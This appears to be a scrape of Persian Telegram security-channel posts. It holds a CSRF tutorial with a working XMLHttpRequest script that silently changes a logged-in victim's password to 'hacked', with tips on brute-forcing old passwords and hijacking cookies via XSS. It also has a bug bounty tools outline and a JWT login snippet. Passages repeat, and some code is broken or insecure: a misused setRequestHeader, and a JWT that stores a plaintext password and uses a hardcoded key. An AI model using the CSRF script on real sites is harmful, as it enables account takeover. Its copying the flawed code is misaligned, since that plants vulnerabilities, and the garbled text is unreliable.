1- باید simple HTTP Request باشه . درخواست هایی مثل :
2- باید repeatable باشن ( ینی تکرار پذیر باشن ) .( حالا در اخر سر روش های جلوگیری از CSRF رو میگم که بدونین اگه اینا وجود نداشت CSRF دارین و attack بزنین . ) به عنوان مثال اگه یه token داشته باشیم که به session کاربر چسبیده باشه ( بهش CSRF Token میگن ) که اون token رندوم باشه ینی با هر بار درخواست زدن عوض بشه دیگه تکرار پذیر نیست چون ما به اون token دسترسی نداریم ( ینی مفهوم SOP میاد وسط و دیگه نمیتونیم اونو هایجک کنیم ) . خلاصه بخوام بگم وقتی به change_pass/ یه GET میزنه یه token به session میچسبه و بعد که میخواد pass رو عوض کنه ینی به change_pass/ یه POST بزنه همراهش اون token هم ارسال میشه ( که ما چون توسط js به response دسترسی نداریم نمیتونیم token رو بخونیم )
6- یه چیزی رو اگه توجه کنین تویه کد بالا من فقط 'password = hacked ' گذاشتم و این یعنی اون سایت اصلی تویه اون route فقط مقدار new pass رو میگیره ولی اگه بک سایت یه چنین چیزی باشه :
تویه این کد اون مقدار قبلی password رو هم میخواد و حالا اینجاس که باید یه جوری مقدار قبلی رو بدست بیاریم ( مثلا Brute force )
روش هایی برای جلوگیری از CSRF :
1- اضافه کردن یه header HTTP که به سمت سایت میره ( برای اینکه دیگه simple نباشه درخواستمون مثلا استفاده از JSON )
2- استفاده از CSRF token
3- چک کردن referer ( هدر Referer در درخواست HTTP مشخص میکند که کاربر از کدام URL به صفحه فعلی منتقل شده و دیگه توسط js قابل دستکاری نیست )
( جعل درخواست از طرف کاربر احراز هویت شده )
میشه گف یه HTTP Request ارسال کنیم از طرف کاربر احراز هویت شده ( ینی قبلا لاگین شده در سایتی که میخوایم روش attack بزنیم)
چطوری میشه از طرف یه کاربر دیگه درخواست ارسال کرد به یه web site ؟
فرض کنین من یه سایتی دارم که تویه بک سایت یه چنین script هست :
<script>
function testCSRF(){
const url = 'https://site.com/change_pass'
const xml = new XMLHttpRequest() ;
xml.onreadystatechange = function(){
if (xml.status == 200 && xml.readyState == 4) {
console.log('[+] password changed ...')
}
}
xml.open('POST' , url);
xml.setRequestHeader = ("Content-Type" , "application/x-www-form-unlencoded")
xml.withCredentials = true ;
xml.send("password=hacked")
}
</script>
حالا وقتی وارد سایت میشه این script لود میشه برای کاربر و حالا از طرف کاربر اما با origin سایت من یه request زده میشه
site.com و وقتی که login هست از قبل در سایت هدف پسووردش بدون اینکه بفهمه عوض میشه به hacked .یه چند تا نکته هس که باید بگم :
1- مفهوم SOP که قبلا درموردش گفتم هنوز هم هست . ولی در اینجا ما اصلا به response نیازی نداریم . در واقع هدف ما change state هس ینی یه تغییری در سایت اتفاق بیوفته نه دسترسی به data های اون .
2- همونطور که در بالا گفتم در مفهوم CSRF باید change state داشته باشیم ( فقط لود کردن صفحه کاربر نشون دهنده CSRF نیست ! )
3- احراز هویت شدن کاربر ( همون لاگین بودن یا نبودن کاربر باید فقط از طریق cookie انجام بشه که cookie هم باید same-site = none باشه ( قبلا درمورد انواعش توضیح دادم )
4- اگه cookie که به ما میداد same-site != none بود باید یه xss ( بعدا در مورد این آسیب پذیری میگم ) در sub domain های سایت داشته باشیم که بتونیم cookie رو هایجک کنیم ( چون دیگه مفهوم SOP معنی نمیده و same origin هستن )
5- یه چیزی که خیلی مهمه و تقریبا باید اولش میگفتم اینه که هر HTTP Request نمیتونه CSRF باشه ( با فرض اینکه چنین چیزایی که تا الان گفتم اوکی بود ) باید دو تا شرط رو داشه باشه :
1- باید simple HTTP Request باشه . درخواست هایی مثل :
POST , GET
or content types :
text/plain
multipart/form-data
application/x-www-form-urlencoded
2- باید repeatable باشن ( ینی تکرار پذیر باشن ) .( حالا در اخر سر روش های جلوگیری از CSRF رو میگم که بدونین اگه اینا وجود نداشت CSRF دارین و attack بزنین . ) به عنوان مثال اگه یه token داشته باشیم که به session کاربر چسبیده باشه ( بهش CSRF Token میگن ) که اون token رندوم باشه ینی با هر بار درخواست زدن عوض بشه دیگه تکرار پذیر نیست چون ما به اون token دسترسی نداریم ( ینی مفهوم SOP میاد وسط و دیگه نمیتونیم اونو هایجک کنیم ) . خلاصه بخوام بگم وقتی به change_pass/ یه GET میزنه یه token به session میچسبه و بعد که میخواد pass رو عوض کنه ینی به change_pass/ یه POST بزنه همراهش اون token هم ارسال میشه ( که ما چون توسط js به response دسترسی نداریم نمیتونیم token رو بخونیم )
6- یه چیزی رو اگه توجه کنین تویه کد بالا من فقط 'password = hacked ' گذاشتم و این یعنی اون سایت اصلی تویه اون route فقط مقدار new pass رو میگیره ولی اگه بک سایت یه چنین چیزی باشه :
<script>
let currentPassword = "password";
function checkOldPassword() {
const enteredOldPassword = document.getElementById("oldPassword").value;
if (enteredOldPassword !== currentPassword) {
alert("[+]The password is incorrect.");
return;
}
else {
const newPassword = document.getElementById("newPassword").value;
currentPassword = newPassword;
}
}
</script>
تویه این کد اون مقدار قبلی password رو هم میخواد و حالا اینجاس که باید یه جوری مقدار قبلی رو بدست بیاریم ( مثلا Brute force )
روش هایی برای جلوگیری از CSRF :
1- اضافه کردن یه header HTTP که به سمت سایت میره ( برای اینکه دیگه simple نباشه درخواستمون مثلا استفاده از JSON )
2- استفاده از CSRF token
3- چک کردن referer ( هدر Referer در درخواست HTTP مشخص میکند که کاربر از کدام URL به صفحه فعلی منتقل شده و دیگه توسط js قابل دستکاری نیست )
🔥4🥰1
Forwarded from Bug bounty Tips
Awesome Bug Bounty Tools.
• Recon:
- Subdomain Enumeration;
- Port Scanning;
- Screenshots;
- Technologies;
- Content Discovery;
- Links;
- Parameters;
- Fuzzing.
• Exploitation:
- Command Injection;
- CORS Misconfiguration;
- CRLF Injection;
- CSRF Injection;
- Directory Traversal;
- File Inclusion;
- GraphQL Injection;
- Header Injection;
- Insecure Deserialization;
- Insecure Direct Object References;
- Open Redirect;
- Race Condition;
- Request Smuggling;
- Server Side Request Forgery;
- SQL Injection;
- XSS Injection;
- XXE Injection.
• Miscellaneous:
- Passwords;
- Secrets;
- Git;
- Buckets;
- CMS;
- JSON Web Token;
- postMessage;
- Subdomain Takeover;
- Uncategorized.
• Recon:
- Subdomain Enumeration;
- Port Scanning;
- Screenshots;
- Technologies;
- Content Discovery;
- Links;
- Parameters;
- Fuzzing.
• Exploitation:
- Command Injection;
- CORS Misconfiguration;
- CRLF Injection;
- CSRF Injection;
- Directory Traversal;
- File Inclusion;
- GraphQL Injection;
- Header Injection;
- Insecure Deserialization;
- Insecure Direct Object References;
- Open Redirect;
- Race Condition;
- Request Smuggling;
- Server Side Request Forgery;
- SQL Injection;
- XSS Injection;
- XXE Injection.
• Miscellaneous:
- Passwords;
- Secrets;
- Git;
- Buckets;
- CMS;
- JSON Web Token;
- postMessage;
- Subdomain Takeover;
- Uncategorized.
GitHub
GitHub - vavkamil/awesome-bugbounty-tools: A curated list of various bug bounty tools
A curated list of various bug bounty tools. Contribute to vavkamil/awesome-bugbounty-tools development by creating an account on GitHub.
/dev/null
💭انواع احراز هویت در web applications : احراز هویت با نام کاربری و رمز عبور : این روش رایجترین نوع احراز هویت است که کاربران با وارد کردن نام کاربری و رمز عبور خود به وب اپلیکیشن دسترسی پیدا میکنند احراز هویت دو مرحلهای (2FA): این روش شامل دو مرحله…
const jwt = require('jsonwebtoken');
router.post('/login', async (req, res) => {
const { email, password } = req.body;
const secretKey = 'your_secret_key';
try {
const user = await userModel.findOne({ where: { email } });
if (user) {
// The comparison of the entered password with the stored password.
if (user.password === password) {
const payload = {
"id": user.id,
"email": user.email,
"password": user.password
};
const token = jwt.sign(payload, secretKey, {
expiresIn: '3h',
algorithm: 'RS256'
});
res.cookie('token', token, {
sameSite: 'strict',
httpOnly: true,
path: '/',
maxAge: 1 * 60 * 60 * 1000
});
return res.redirect('/user/profile');👏3👍1
/dev/null
const jwt = require('jsonwebtoken'); router.post('/login', async (req, res) => { const { email, password } = req.body; const secretKey = 'your_secret_key'; try { const user = await userModel.findOne({ where: { email } }); if…
وقتی که وارد صفحه لاگین میشه بعد تأیید هویت شدن یه token تویه response واسش قرار داده میشه و بعد برای وارد شدن به پروفایلش اون توکن مشخص میکنه چه کاربری هس و با چه سطح دسترسی و اطلاعات مربوط به همون شخص رو بهش نشون میده.
#jwt
#jwt
👏5👍1